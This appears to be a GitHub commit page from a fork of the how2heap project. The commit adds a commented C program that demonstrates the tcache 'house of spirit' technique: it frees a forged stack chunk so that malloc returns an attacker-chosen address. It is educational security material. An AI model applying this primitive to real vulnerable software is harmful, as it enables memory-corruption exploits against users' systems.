forked from shellphish/how2heap
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
38 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
|
||
int main() | ||
{ | ||
fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n"); | ||
fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); | ||
fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); | ||
fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); | ||
|
||
fprintf(stderr, "Ok. Let's start with the example!.\n\n");//todo | ||
|
||
|
||
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); | ||
malloc(1); | ||
|
||
fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); | ||
unsigned long long *a; //pointer that will be overwritten | ||
unsigned long long fake_chunks[10]; //fake chunk region | ||
|
||
fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); | ||
|
||
fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); | ||
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); | ||
fake_chunks[1] = 0x40; // this is the size | ||
|
||
|
||
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); | ||
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); | ||
|
||
a = &fake_chunks[2]; | ||
|
||
fprintf(stderr, "Freeing the overwritten pointer.\n"); | ||
free(a); | ||
|
||
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); | ||
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); | ||
} |